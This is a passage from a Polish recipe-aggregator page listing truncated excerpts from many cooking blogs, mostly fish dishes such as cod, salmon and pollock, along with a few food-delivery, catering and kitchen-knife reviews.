pomidorową, podlać 1/2 szklanki wody. Dodać przyprawy i dusić pod przykryciem około 20 minut gdy papryka będzie miękka ułożyć porcje dorsza w sosie, tak by był całkowicie zanurzony. Dusić rybę na ogniu pod przykryciem 3-4 minuty, następnie wyłączyć piec i pozostawić dorsza jeszcze na kilka minut w rondlu pod przykryciem, by ryba doszła przed podaniem posypać szczypiorkiem

Gotuj zdrowo!Guten Appetit!
Dorsz w panko 130

dłużej pozostaje chrupiąca, niż typowa panierka z bułki tartej. Jest doskonała do smażenia w głębokim oleju. Tym razem wykorzystałam ją do przygotowania filetów z dorsza. I tak jak myślałam ryba wyszła delikatna w środku a chrupiąca na zewnątrz. Pycha. Czytaj więcej

Bernika - moj kulinarny pamietnik
Catering dietetyczny? Pomelo! 143

upałów pomyślałam, że z chęcią spróbuję gotowym posiłków zamiast stać przy garnkach. Wybrałam dietę wege. I tu zaskoczenie. Dieta tak naprawdę jest dietą jarską a nie wege gdyż obejmuje ryby. Niestety już na początku pojawiły się problemy. Punkt pierwszy, nie jestem z Warszawy czego Pani składająca mi propozycję nie wiedziała i o co nie zapytała, i 2 kilometry w dostawie(...)domu. Syncio podjadał :) Po powrocie do domu w końcu mogłam odgrzać obiad. Surówka z czerwonej kapusty była całkiem niezła, pure ziemniaczane w niewielkiej ilości ale smaczne za to porcja ryby wielgachna. Podzieliłam się obiadem z Córcią i najedzone byłyśmy obie. Przejdźmy teraz do wniosków. Czy warto korzystać z tego typu cateringu jaki oferuje Pomelo? Tak. Jeśli mieszkacie w Warszawie

Dzieje kuchennej Wiewióry
#Porady - co zawsze warto mieć w lodówce 329

macie ich pod ręką, to warto mieć w zamrażalniku kilka opakowań warzywnych mieszanek - brokułów, kalafiora, marchewek, papryki, fasolki - wrzucacie na patelnię, dusicie kilka minut i kolejna porcja warzyw zaliczona :) ryby Jeśli możecie wybierajcie te świeże, ale miejcie też w zapasie jakiś mrożony filet, dodajcie troszkę masła, plaster cytryny, zawińcie w folię aluminiową, włóżcie do piekarnika i po 20 minutach pyszna(...)zdrowa duszona ryba gotowa :) cytryna/limonka Podstawowy składnik sosów, marynat, lemoniady, ciast, deserów, orzeźwiający dodatek do drinków - warto mieć je pod ręką :)  mleko Do sosów, do beszamelu, do płatek, do deserów, do picia przed snem.... i mogłabym tak wymieniać bez końca. Jeśli nie możecie pić krowiego, to zaopatrzcie się w roślinne np. sojowe lub migdałowe ryż Najlepiej basmati - szybko się

Cooking Monster
Grillowane szparagi z pomidorkami koktajlowymi i fetą 144

jednakowej grubości. Dzięki temu wszystkie upieką się jednakowo. Grillowane szparagi mogą być świetną przekąską, idealnie się sprawdzą na letnią kolację, ale również jako dodatek do dań obiadowych z mięsem, rybą lub dań w wersji wege, którą Wam gorąco polecam (np. z „ Młodymi ziemniaczkami z suszonymi pomidorami, bazylią i parmezanem ” i „ Sałatką z rukolą, rodzynkami i płatkami migdałowymi(...)miękkie, ale wciąż chrupiące (jeśli przetrzymacie dłużej, staną się zdrewniałe) . Grillowane szparagi z pomidorkami posypać pokruszoną fetą. 50 g pokruszonej fety Podawać jako dodatek do dań obiadowych z mięsem, rybą lub dań w wersji wege (które polecam), czyli z „ Młodymi ziemniaczkami z suszonymi pomidorami, bazylią i parmezanem ” oraz „ Sałatką z rukolą, rodzynkami i płatkami migdałowymi „ źródło

Moja Delicja
Ryba po grecku 141

ziela angielskiego sól, pieprz, papryka słodka i ostra, kardamon olej rzepakowy do smażenia 0,5 szklanki wody 0,5 szklanki bulionu warzywnego natka pietruszki do smacznej dekoracji panierka do ryby: mąka pszenna i jajko - na oko, jak zabraknie dodajcie mąki lub jajka Wykonanie: Filety dorsza (lub mintaja) kroimy na około 5-6 centymetrowe kawałki. Przyprawiamy solą, pieprzem i paprykami(...)innymi przyprawami według uznania. Gdy zmiękną dodajemy passatę, przecier pomidorowy, wodę i bulion, doprawiamy cukrem. Dokładnie mieszamy, dusimy około 20 minut.  W głębszej misce układamy na przemian: rybę i sos. Na wierzchu ma być sos. Posypujemy świeżą natką pietruszki

Zasmakuj Kuchni
Curry na zmęczenie lub przeganianie lenia 154

wchłonie całość. Zagniatam ścisłe ciasto. Gotowe przykrywam, chroniąc przed przesuszeniem i odstawiam na pół godziny.  Ten czas w zupełności wystarczy na przygotowanie podstawowego dania. Dzisiaj wersja z rybą, ale może być też pierś kurczaka lub schab. Przygotowuję krojąc na kostkę: - ok. 400g dorsza - 0,5 cukinii - 1 sporą cebulę - pół puszki czerwonej fasoli - ok. 400g pomidorów z kartonika(...)Maciejem E. Halbańskim) Chwilę smażę mieszając, dodaję pomidory i po chwili fasolę. Całość często mieszając, ponieważ wciąż ogień jest mocny, łączę z jogurtem i po minucie układam kawałki ryby (mięsa). Zmniejszam trochę ogień i przykrywam naczynie. Duszę 15 minut. Po tym czasie potrawa jest prawie gotowa. Można ewentualnie dodać sól i pieprz tak  jak lubimy, dorzucam natkę pietruszki pokrojoną

I tu będę miała takie te
Spaghetti z dorszem i lubczykiem 157

dowolnymi, ulubionymi orzechami i przygotować 100% pesto lubczykowe. Poszłam na łatwiznę i ani tak było bardzo smacznie. Składniki na 2 porcje: 250 g spaghetti 2 porcje  zgrillowanej ryby   1 łyżka pasty lubczykowej   pomidorki koktajlowe pieprz Wykonanie: ugotować makaron wg przepisu na opakowaniu użyć ryby przygotowanej wcześniej lub usmazyć 2 kawałki dorsza. Dorsza wcześniej skropic sokiem z cytryny

Gotuj zdrowo!Guten Appetit!
Tradycyjna surówka z kiszonej kapusty 183

Wyśmienicie smakuje z rybą do obiadu w towarzystwie ziemniaczków. Pomieszane smaki słodko - kwaśne z dodatkiem jabłka. Pyszny dodatek do obiadów - pasuje do gulaszów, kotletów schabowych, kotletów mielonych, pieczeni, pyz, kopytek czy klusek śląskich. Jadamy ją także do przekąsek ze śledzi i wędzonych ryb, np. makreli. Składniki: 0,5 kg kiszonej kapusty 1 cebula 1 jabłko lekko słodkie i twarde

Zasmakuj Kuchni
Rybka w panierce 133

Rybka w chrupiącej panierce jak schabowy..kiedyś już robiłam rybki w podobny sposób i  wpisy są na blogu, ale tym razem filety rybne moczyłam w mleku... filety z ryby mleko sok z cytryny sól,pieprz  mąka bułka tarta jajka sól, wegeta Filety ryby pokroić na kawałki i włożyć do mleka, moczyć około 20 minut. Wyjąć z mleka, skropić

Moje domowe kucharzenie
Najlepsze pomysły na zdrową i lekką kolację 193

warzywa strączkowe, kapusta, papryka, por... Mogą powodować uczucie pełności, a nawet mocne bóle brzucha. W późnych porach nie sięgamy także po kawę czy mocną herbatę. Produkty wskazane: chude mięso ryby (także tłuste) owoce morza twaróg/serek wiejski jajka zdrowe tłuszcze jak oliwa czy olej kokosowy większość warzyw  Produkty niewskazane: tłuste sery potrawy ciężkostrawne, smażone na głębokim tłuszczu słodkie przekąski(...)minut. Dodać szczyptę soli. Odstawić do lekkiego wystudzenia. Podawać z serkiem wiejskim, kawałkami truskawek i wiórkami kokosowymi.  Na kolację warto zjeść także...  marchewkową pizzę pieczoną rybę krewetki z porem, czosnkiem i natką Smacznego

Kuchnia Ellie
Grillowany łosoś z sałatką kuskus 207

blogu znajdziecie całą masę przepisów z łososiem ... bo to jedna z naszych ulubionych ryb i dań do przygotowania. Tym razem postanowiliśmy zrobić grillowanego łososia z pyszną, orzeźwiającą sałatką z kuskusu, pomidorów i ogórka zielonego. Cały ten przepis opiera się w gruncie rzeczy na przygotowaniu sałatki z kuskus. Sałatka z kuskus z pomidorami i ogórkiem - przepis: Kuskus zalewamy wrzącą wodą

Kulinarnyblog.pl - wiesz jak gotować!
Smażony szczupak z warzywami i winnym sosem 156

robimy, musimy dać mu trochę czasu, aby stał się miękki. W przypadku smażenia i duszenia 15 minut będzie rozsądnym minimum. Plusem jest natomiast to, że szczupak jest chudą rybą, więc nie musimy się zżymać z powodu smażenia go w nawet znacznej ilości tłuszczu, którym z wyboru jest najczęściej masło. Stosujemy je w połączeniu ze szczupakiem bardzo często, a w daniu

Kulinarna Pokusa
Recenzja książki "Pysznie dla rodziny i przyjaciół" 176

okładkach innych książek kulinarnych. Ta okładka wręcz kojarzy mi się z przepisami naszych babć, po które z chęcią sięgamy:) W książce znajdziemy kilka przydatnych uwag na temat przygotowania mięsa, ryb i warzyw. Wszystko oparte jest fantastycznymi, zabawnymi rysunkami, wykonanymi przez Joannę Wieruszewską. Książka ma 192 strony, 84 przepisy + 9 przepisów podstawowych (np. na naleśniki czy kruche ciasto). Wszystko podzielone(...)każdy zestaw składają się 3 przepisy w kategoriach: Przystawka Danie główne Deser  Mamy 14 zestawów na dania główne na bazie mięsa, 9 zestawów na dania główne z udziałem ryb oraz 4 zestawy wegetariańskie. Przy każdym zestawie znajdziemy kilka słów od autorki. Przepisy są bardzo jasno i dokładnie opisane, zaś zdjęcia tak apetycznie przedstawiają potrawy, że od razu chciałoby się

Z miłości do słodkości
Przysmaki chińskiej kuchni w pigułce 177

jest mięso z kurczaka, choć i warzywa często pojawiają się w tego typu daniach. Kuchnia chińska chętnie sięga też po te przepisy na zupy, w których główną rolę odgrywają ryby oraz owoce morza. Restauracje chińskie mogą się jednocześnie pochwalić ciekawym asortymentem dań, w których główną rolę odgrywa mięso. Największą popularnością cieszy się wieprzowina, jednak i wołowina, i baranina mogą także(...)podawane w aromatycznych sosach. Wybór takich dań jest ogromny. Nie zmienia to jednak faktu, że najpopularniejszą potrawą związaną z chińską kuchnią jest kaczka po pekińsku. Warte spróbowania są też ryby (zarówno te smażone, jak i gotowane na parze), które podaje się wraz z warzywami. Kuchnia chińska chętnie sięga też po owoce morza, które są ciekawym składnikiem wielu orientalnych dań. Chińczycy

Codogara
Kuchnia indyjska – wszystko, co musisz o niej wiedzieć 136

spożywania wołowiny, gdyż krowa uważana jest w Indiach za zwierzę święte. Najbardziej ortodoksyjni wyznawcy hinduizmu są z kolei przeciwnikami spożywania jakiegokolwiek mięsa. Ich dieta wyklucza zatem i drób, i ryby, a podstawą ich menu stają się produkty pochodzenia roślinnego. Warto jednak pamiętać, że na kulturę Indii spory wpływ miała też religia muzułmańska. Efektem tego jest wykluczenie z diety wieprzowiny. Jakie(...)jadania łagodnych potraw. Większość indyjskich restauracji mieszczących się w Polsce preferują podawanie dań właśnie pochodzących z tamtego regionu. Dania kuchni bengalskiego oparte są na ryżu i soczewicy oraz rybach. Podstawą żywienia są także smażone chlebki podawane do każdej potrawy. Region ten słynie także z pysznych i słodkich przekąsek przyrządzanych z białego sera. Religijny zakaz jedzenia wołowiny sprawił, że w Indiach

Codogara
Pomysły na obiad dla niespodziewanych gości 242

łyżki oliwy, 4 łyżki śmietanki, 1 ząbek czosnku, 2 łyżki koperku, pieprz, sól, 3-4 łyżki tartego żółtego sera np. grana padano. Gotujemy makaron w osolonej wodzie. Odcedzamy rybę z zalewy. Na patelni rozpuszczamy masło i wlewamy śmietankę. Dodajemy makaron, rybę, czosnek oraz przyprawy i całość odrobinę podduszamy. Na koniec dodajemy ser i dokładnie mieszamy. Po chwili będzie już gotowe

Codogara
Steki z tuńczyka 135

Dziś będzie przepis na steki z tuńczyka. Danie,które wymaga minimum składników i minimum czasu na przygotowanie. Smakuje wyśmienicie i naprawdę warto spróbować. Tuńczyk jest rybą, którą warto wprowadzić do diety, ponieważ zawiera dużo witaminy A, D, oraz witamin z grupy B, a także jest żródłem witaminy PP, która między innymi obniża poziom cholesterolu. Dodatkowo jest żródłem selenu, wapnia, jodu(...)oliwa z oliwek sól pieprz Rybe umyć i osuszyć papierowym ręcznikiem. Następnie posmarować oliwą z oliwek i z obu stron posypać solą i świeżo zmielonym pieprzem. Tak przygotowaną rybę odstawić na 20 minut. Rozgrzać patelnię (najlepiej grillową) i smażyć steki 1-2 minuty z każdej strony. Przed podaniem można skropić sokiem z cytryny. Smacznego

kuchnia doski
ŁOSOŚ SMAŻONY Z SOSEM KOPERKOWYM 84

śmietany  1 ząbek czosnku 1 łyżka posiekanego koperku sól Sos koperkowy  Wymieszaj śmietanę ze zmiażdżonym czosnkiem, dodaj koperek przypraw do smaku. Wstaw do lodówki.  Przygotowanie ryby  Rybę umyj, osusz, podziel na porcje. Skrop sokiem z cytryny, oprósz solą i pieprzem  Smaż na rozgrzanej patelni z każdej strony przez około 2 minuty  Zmniejsz ogień, dosmaż

Kukuleczki
SAŁATKA Z KONSERWĄ RYBNĄ 160

Smaczny , lekki posiłek kolacyjny. sałata mix 0.5 puszki ryby w oleju roślinnym 5 rzodkiewek ***************************************** Na talerzu ułożyć sałatę , wyłożyć rybę wraz z olejem , a na wierzch pokroić plasterki rzodkiewki.Smacznego!.Podawać z kromką pieczywa chrupkiego

Kocurkowe rozmyślania w kuchni Anielki
Pasta z łososia 247

Pasta z łososia to ostatnio moje smaki. Potrzebowałam coś konkretnego ale i zdrowego na kanapki, więc wybór padł na pastę z łososia wędzonego na ciepło. Bardzo lubię tą rybę i często ją przyrządzam. Wędzony na ciepło łosoś jest mięciutki i łatwo można go rozgnieść widelcem. Pasta z łososia to kolejny przepis na łososia , który przypadnie Wam do smaku.   Pasta

codojedzenia
Pieczona dorada z pomidorkami i czosnkiem. 108

Składniki; 2 patroszone dorady, 4 ząbki czosnku garść pomidorków cherry, sól, pieprz, 2-3 łyzki octu jabłkowego, 3 łyżki oliwy z oliwek, ok pół szkl. wody, mleko do namoczenia ryb, zielona pietruszka    Przygotowanie; Doradę umyć a następnie zalać mlekiem na jakieś pół godziny. Po tym czasie odcedzić i osuszyć. Czosnek obrać i pokroić w plasterki. Natkę pietruszki opłukać(...)naczynia żaroodpornego wlać wodę, oliwe z oliwek i ocet jabłkowy. Dorade nadziać czosnkiem i zieloną pietruszką. Po wierzchu delikatnie oprószyć solą i pieprzem. Ryby przełożyć do naczynia. Obłożyć pomidorkami pokrojonymi na pół , zieloną pietruszką i czosnkiem. Wstawić do piekarnika nagrzanego do 220 st.C i piec około 25- 30 min. Smacznego

Radość kipiąca uśmiechem.
Łosoś w pistacjach 151

Łosoś, moja ulubiona ryba. Pożeram ją w każdej postaci. Dziś przesyłam Wam przepis na bombę smakową, która przenosi zmysły w oderwaną od ziemi rzeczywistość ;) Składniki: Oliwa z oliwek Kawałek masła 1 Cebula Woda Przecier pomidorowy Śmietana Sól Pieprz Bazylia Pistacje Wykonanie: Cebulę pokroić (wedle usnania) i zeszlkić na rozgrzanej patelni z oliwą. Dodać wodę (ilość na sos wedle uznania), wymieszać(...)miodu aby wydobyć winny smak. Łososia uzmażyć na osobnej patelni. Zalecam smażenie na pergaminie z niewielką ilością oleju lub oliwy. Nie powinno przywierać i dużo łatwiej obraca się rybę. Sos wyłożyć na talerz, ułożyć łososia i posypać go rozgniecionymi pistacjami (najlepiej w moździeży) Całość można również posypać posiekaną natką pietruszki. Wyśmienicie zmakuje s surówką z kwaśnej kapusty - ale z kiszonej

Ukojenie Podniebienia
Warsztaty kulinarne „Mój Ulubiony – na słodko i słono” 164

zwykle po wstępnym powitaniu, zabraliśmy się do dzieła. Zostaliśmy podzieleni na grupy i każda miała przygotować inne pyszności. Takim też sposobem przygotowaliśmy następujące potrawy: Dorsz pod kruszonką z wędzonej ryby i razowego chleba podawany z risotto i sosem oraz marynowanymi brukselkami Czas przygotowania 50 min. 2 porcje Składniki: 400 g polędwicy z dorsza 150 g wędzonego jesiotra z Jury(...)cynamonu Przygotowanie: Masło mocno chłodzimy, chleb kroimy w drobną kostkę, zioła (koperek, natkę pietruszki) osuszamy i szatkujemy. Do dużej miski wkładamy twarożek, zioła (koperek, natka pietruszki) obraną i pokrojona rybę wędzoną, pokrojony chleb i pokrojone na drobne kawałki zimne masło, dodajemy szczyptę soli i pieprzu i wyrabiamy kruszonkę. Polędwicę z dorsza myjemy, osuszamy i delikatnie solimy. Układamy w wysmarowanym masłem

karmelowy
Piegowata kostka 140

Wczoraj byliśmy nad jeziorkiem Radacz na rybach, Niestety skutek był marny bo jakoś ryby nie brały. Ale człowiek się dotlenił, posiedział nad wodą, zrobiliśmy grilla. A na osłodę i poprawienie humoru po nie udanym wędkowaniu mieliśmy pyszne ciacho. Nie wiem czy widzicie ale w biszkopcie są maleńkie kropeczki, pewnie zastanawiacie się co to takiego. A jest to chia czyli szałwia

Ewa w kuchni
Zapiekane kanapki z tuńczykiem i serem pleśniowym 132

Ryba tu i ryba tam :D Ale co tam...pysznie wyszło. Tuńczyk sam w sobie jest poezją i kwintesencją smaku. Tutaj jest przepysznie wyeksponowany. Ser nadaje pikanterii, natomiast sos wydobywa to, co najlepsze. I te pomidory... Składniki 2 ciabatty 2 jajka  1 pomidor  1 puszka tuńczyka w oliwie liście bazylii 3 łyżki gęstego majonezu czarne oliwki bez pestek

R'n'G Kitchen
Pyszne.pl - jedzenie z dostawą do domu - recenzja 146

miły gest i dzięki temu nie rozczarowałam się brakiem zapiekanki. Jedzenie dostarczono ciepłe i pachnące. Szkoda tylko, że zostało spakowane zestawami. Mąż dostał mięso z kopytkami, mama rybę z frytkami męża, a u mnie były ziemniaczki mamy. Zestaw surówek miał być wspólny, ale dostał go mój mąż. Czekała nas zabawa z przekładaniem jedzenia. Porcje - akurat i czuć, że świeże. Smak(...)Ryba nam smakowała, ale mąż mięsem się nie zachwycił - co kto lubi..  Trzecie zamówienie złożyłam w Sushi Bar & Chinese Food .  Tu zamówienie dotarło szybciej niż określono w meilu i smsie. Praktycznie nie musiałam na nie czekać. Jeśli lubicie tego typu kuchnię - polecam. Podsumowanie: Jestem zadowolona z serwisu Pyszne.pl . Dlaczego? Bo zamawiając jedzenie nie trzeba wyszukiwać

Di gotuje
Surówka z kopru włoskiego (fenkułu), kalarepki i zielonego jabłka z koperkiem 164

niego wiele dań, między innymi tę „Surówka z kopru włoskiego (fenkułu), kalarepki i zielonego jabłka z koperkiem”. Polecam jako dodatek do dań obiadowych z mięsami, z rybami. Świetnie się również komponuje z wytrawnymi tartami. Składniki surówki z kopru włoskiego: (2-3 porcje) 1 bulwa kopru włoskiego (fenkułu) 1 kalarepka 1 duże zielone jabłko sok z połowy cytryny(...)doprawić odrobiną soku z cytryny. Surówkę z kopru włoskiego (fenkułu) , kalarepki i zielonego jabłka z koperkiem podawać jako dodatek do dań obiadowych (do tart, dań z mięsem lub z rybami) . The post Surówka z kopru włoskiego (fenkułu), kalarepki i zielonego jabłka z koperkiem appeared first on Moja Delicja - Przepisy kulinarne

Moja Delicja
Makaron z wędzonym pstrągiem łososiowym i szpinakiem (fit) 196

Odrobina oleju  Cytryna Przyprawy: świeżo mielony pieprz Makaron gotujemy al dente w osolonej wodzie. Przy odcedzaniu warto zostawić około ½ szklanki. W między czasie rozgrzewamy patelnie z odrobiną oleju. Rybę kroimy w małą kosteczkę i podsmażamy na patelni. Szpinak myjemy, odrywamy ogonek liściowy i siekamy. Dodajemy do ryby. Smażymy aż zwiędnie. Następnie dodajemy serek i nieco wody zostawionej po gotowaniu

Kolizje Smaków
Dwa noże od Fiskars - typ azjatycki oraz do szynki/łososia 146

zawsze, a od kiedy mam okazję testować inne produkty to pokochałam tę markę jeszcze bardziej.    Nóż typ azjatycki Nóż szefa kuchni, świetnie radzi sobie z porcjowaniem mięsa, ryb, siekania i krojenia warzyw. Wykonany lepiej niż linia Functional Form, stąd + przy nazwie linii jest jak najbardziej zasadny. Rękojeść jest cięższa, zdecydowanie lepiej leży w dłoni oraz jest antypoślizgowa. Ostrze(...)Nóż do szynki/łososia Na taki nóż czekałam! Teraz nie wyobrażam sobie krojenia boczku, szynki czy łososia innym nożem. Ostrze bez problemu obejmuje wielki kawał mięsa (czy ryby) i pozwala na swobodne krojenie nawet cieniutkich plasterków. I co ważne – wreszcie mam całe plasterki, a nie poszarpane pół plasterki, gdy kroiłam zbyt krótkim nożem. Nóż poradził sobie wyśmienicie z włoskim guanciale

Gotowanie i blogowanie
Niedźwiedzie pesto 152

reumatyzm - posiada właściwości przeciwzapalne - na lśniące włosy i mocne paznokcie To oczywiście nie wszystkie zalety czosnku niedźwiedziego, warto docenić jego walory kulinarne. Wprost niezastąpiony do mięs (również dziczyzny), ryb, serów, sałatek, zup, sosów, nalewek… i nie tylko. Niedźwiedzie pesto zadomowiło się w mojej kuchni na stałe. Składniki: - świeże liście czosnku niedźwiedziego - ziarna słonecznika - różowa sól himalajska - parmezan (lub Grana Padano(...)ciągu kilku dni, dlatego najlepiej przygotować w mniejszych słoiczkach. Niedźwiedzie pesto nadaje się… chyba prościej napisać do czego się nie nadaje, ale ja używam – do makaronów, mięs, ryb, serów, wędlin, jajek, kasz, ryżu… i nie tylko. Wybornie smakuje nawet z pajdą chleba. Ponieważ właśnie teraz jest najlesza pora zbioru czosnku niedźwiedziego warto ten okres wykorzystać. Czosnek niedźwiedzi można również

mojewypiekiinietylko
domowe moskaliki 222

porcie wprost nie mogłem się powstrzymać, od zakupu solidnej partii naszego  niewielkiego bałtyckiego śledzia. Osobiście uważam ze śledź świeży, taki prosto z rybackiego kutra jest jedną z najsmaczniejszych ryb i to niezależnie od sposobu w jaki go się przyrządzi Oczywiście sposobów na sporządzenie  potraw z tej ryby jest wiele,  ale ja dziś przygotuje je w wyrazistej marynacie

Miód i pieprz
Warzywa na ciepło do obiadu. 130

sałatkę do obiadu a tradycyjna lodowa Wam się przejadła to proponuję dzisiaj pyszne warzywka na ciepło.Wystarczą ziemniaki, marchewka, groszek i kukurydza. Dzisiaj taki dodatek warzyw podałam z rybą , smakowało wybornie:) Zapraszam do wypróbowania :) Składniki : 1 malutka puszka kukurydzy Bonduelle 1 malutka puszka groszku Bonduelle 3 duże marchewki 3 ziemniaki 1 łyżeczka koperku ProEco 1/2 łyżeczki koncentratu chili ProEco(...)rozgotować. Na końcu przyprawić ewentualnie do smaku solą i pieprzem.Warzywa można lekko zagęścić mąką ziemniaczaną. W 50 ml rozpuścić 1 łyżeczkę mąki, wymieszać i wlać do warzyw. Podawać z rybą , mięsem lub czym wolicie. Smacznego

Sama słodycz i szczypta chili
Gołąbki z łososiem i sosem cytrynowo-śmietanowym. 178

brązowym ryżem i łososiem. A do tego sos cytrynowy. Wyszło bardzo smacznie. I tylko moje dziecko nie mogło zgodzić się z nazwą bo przecież gołąbki nie mogą być z rybą, Po mimo sporu o nazwę zjadł wszystko ze smakiem. Gołąbki z łososiem Składniki na 8 średniej wielkości gołąbków: 300 g świeżego łososia 100 g brązowego ryżu  główka młodej kapusty

Miksturownik
Domowy paprykarz-czyli sałatka z makreli inaczej 164

miękkości i odparowania wody,dodajemy przecier i ketchup,paprykę ostrą i słodką i mieszamy dokładnie,odstawiamy do ostygnięcia, jak już wszystko mamy zimne to mieszamy razem-ryż,rybę,i warzywa,doprawiamy pieprzem i solą(dopiero teraz bo ryba jest słona i trzeba uważać żeby nie przesolić,) schłodzić w lodówce gotowe smacznego

Swojskie jedzonko
Solić? Nie solić? 128

majeranki, gałki muszkatołowej, cebuli, szałwii, pieprzu i tymianku. Cielęcina smakować będzie z czosnkiem, cebulą, pieprzem i oregano. Do drobiu pasuje imbir, majeranek, oregano, papryka, rozmaryn, szałwia, tymianek i estragon. Ryba z curry, koperkiem, gorczycą, cytryną, majerankiem, pieprzem i papryką, Marchewka lubi cynamon, goździki, majeranek, gałkę muszkatołową, rozmaryn i szałwię. Ziemniaki wolą imbir, cebulę, natkę pietruszki, paprykę, a także majeranek(...)cebulą, oregano,natką pietruszki i pieprzem. Lubczyk dodany do zupy zastąpi nie tylko sól, ale słoną maggi, którą niektórzy sowicie doprawiają. Bazylia wzbogaca dania z pomidorów, sałatki, mięsa i ryby. Estragon to idealna przyprawa do drobiu oraz dań z jajek. Kolendrę najlepiej dodać do dań rybnych, mięsnych i z roślin strączkowych. Majeranek i tymianek to uzupełniające się wzajemnie bardzo aromatyczne

Kucharzyca
Zupa ziemniaczana ze smażonym łososiem 203

oczywiście rzecz gustu. Ta zupa z łososiem na pewno zaspokoi głód niejednego głodomora więc zachęcam do gotowania i polecam gorąco. Zupa smakowita, aromatyczna i treściwa dzięki ziemniakom i rybie, polecam. Zupa ziemniaczana ze smażonym łososiem. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Kolorowe i soczyste warsztaty z Fit&Easy 106

możemy dowolnie modyfikować dodając coś od siebie np. jakiś owoc. Takie koktajle są świetnym pomysłem i doskonale sprawdzają się w codziennej diecie a nawet przy wiosennym detoxie . do oprawienia ryb nie było, jak zwykle, chętnych bo przecież po co brudzić sobie rączki... Pyza nie ma takich dylematów - żeby zjeść trzeba najpierw rybę oczyścić przez cały czas warsztatów mogliśmy miksować sobie

Smaczna Pyza
Łosoś miodowo-musztardowy z kukurydzą 273

Łosoś to bardzo popularna, ale co ważniejsze – bardzo zdrowa ryba. Dzisiaj prosty przepis na przygotowanie go z nieco inny, ale jakże pyszny sposób! Do przygotowania potrzebujemy: Świeży łosoś Miód Musztarda sarepska Musztarda francuska Oliwa z oliwek Rozmaryn Kukurydza w kolbie Cukier Sól Pieprz Zaczynamy od przygotowania glazury do łososia. Przygotowujemy ją w stosunki 1:1 – na jedną łyżeczkę miodu dodajemy

MarcinChef
Sałatka selerowa 94

Znana sałatka w innej odsłonie ( z wędzoną rybą )  Składniki 180 g selera marynowanego po osączeniu 4 jajka mała puszka kukurydzy majonez wędzony dorsz 140 g ananasa z żelowanym mleczkiem kokosowym (po osączeniu) sól pieprz szczypiorek    Przygotowanie   Seler, kukurydzę, ananasa osaczyłem z zalewy. Jajka ugotowałem na twardo. Po ostudzeniu pokroiłem na kawałki. Szczypiorek po opłukaniu i osuszeniu(...)pokroiłem . Wędzoną rybę starannie oczyściłem z ości, podzieliłem na mniejsze cząstki. Wszystkie składniki połączyłem, dodałem majonez, delikatnie wymieszałem. Doprawiłem solą i pieprzem

R'n'G Kitchen
Grillowany łosoś po tajsku 174

oliwy. Łososia kładziemy najpierw mięsem do dołu i grillujemy przez 7-8 minut czasami lekko poruszając. Przekładamy na drugą stroną i grillujemy przez kolejne 7-8 minut. Z gotowej ryby zdejmujemy skórę. W międzyczasie przygotowujemy sałatkę. Cebulę obieramy i kroimy w cienkie (2-3mm) półtalarki, które rozkładamy a pojedyncze piórka i skrapiamy resztą soku z limonki, aby nabrały pełniejszej

Kulinarna Pokusa
MINTAJ W CIEŚCIE FRANCUSKIM 170

ryba owinięta w ciasto francuskie, zapiekana ze szpinakiem i serem feta, doskonała na postny obiad SKŁADNIKI 3 kostki mintaja, 1 op.ciasta francuskiego, 6 brykietów szpinaku, 100 g sera feta, 1 ząbek czosnku, sól, pieprz, 2 łyżki masła, 1 żółtko WYKONANIE Ciasto francuskie tniemy na 6 prostokątów. Mintaja kroimy na połówki. Brykiety szpinaku podsmażamy na maśle, doprawiamy do smaku solą, pieprzem(...)przeciśniętym przez praskę czosnkiem. Rozkładamy na środku ciasta francuskiego, układamy rybę, a na wierzchu pokrojony w plastry ser. Zawijamy ciasto, smarujemy roztrzepanym żółtkiem. Pieczemy 20-25 min w 190 stopniach

słodki bratek
RYBA PANIEROWANA W PŁATKACH KUKURYDZIANYCH I CZOSNKU NIEDŹWIEDZIM 175

Zostało mi dużo płatków kukurydzianych, a że dziś jest piątek, postanowiłam przygotować rybę. Żeby nie było nudno smak ożywiłam czosnkiem niedźwiedzim, cytryną, solą i białym pieprzem. Danie niezwykle aromatyczne dzięki przyprawom od  SKWORCU. SKŁADNIKI   3 kostki mintaja, 1 szkl. płatków kukurydzianych, czosnek niedźwiedzi , cytryna, sól, biały pieprz , śmietana 12% WYKONANIE Mintaja skrapiamy sokiem z cytryny, posypujemy solą(...)pieprzem, smarujemy śmietaną, posypujemy czosnkiem niedźwiedzim, panierujemy w pokruszonych płatkach. Układamy w formie wyłożonej pergaminem lub folią aluminiową, zapiekamy ok. 20 min w 180 stopniach.   Rybę podałam z kaszą gryczaną i fasolką szparagową. Dodatki można zmienić według uznania

słodki bratek
Wyniki Konkursu - wygraj książkę Karola Okrasy Ryby Są Super z autografem 194

Trochę spóźnione, ale w końcu są wyniki konkursu, gdzie do wygrania była książka Karola Okrasy Ryby Są Super z autografem. Pisałem Wam kilka razy na FB, że mam mało zgłoszeń, ale jakoś chętnych dużo nie przybyło. Czasami zasypujecie mnie 150 zgłoszeniami, a czasami nie ma nawet 40 tak jak tym razem :) Wybór mimo małej ilości zgłoszeń nie był łatwy

Parowar Faceta
Kulebiak z wedzonym pstragiem i twarogiem czyli bardzo spoznione Srodowe Rybki odc.63 144

miara!!! Dzisiejsza propozycja to rewelacyjna przystawka lub lekki obiad, także od święta.  W sam raz dla miłośników wypieków i ciepłych przekąsek. Proste w przygotowaniu i BARDZO smaczne trio ryby z twarogiem i koperkiem :) Kulebiak z wędzonym pstrągiem i twarogiem ciasto: 20 g drożdży szczypta cukru 250 ml mleka 500 g mąki pszennej jajko sól farsz: pęczek(...)Odstawiamy by ruszyły. Do miski z zaczynem przesiewamy mąkę, wbijamy jajko, sól i dokładnie wyrabiamy ciasto. Miskę przykrywamy i odstawiamy na godzinę by ciasto podwoiło objętość. Do miski wkładamy rybę, twaróg, koperek, skórkę z cytryny, cebulę i rozgniatamy widelcem. Przyprawiamy do smaku sola i pieprzem oraz sokiem z cytryny. Blaszkę wykładamy papierem lub smarujemy masłem i wysypujemy bułką. Ciasto wałkujemy

Dzieje kuchennej Wiewióry
Postne menu i "Lato miłości" 148

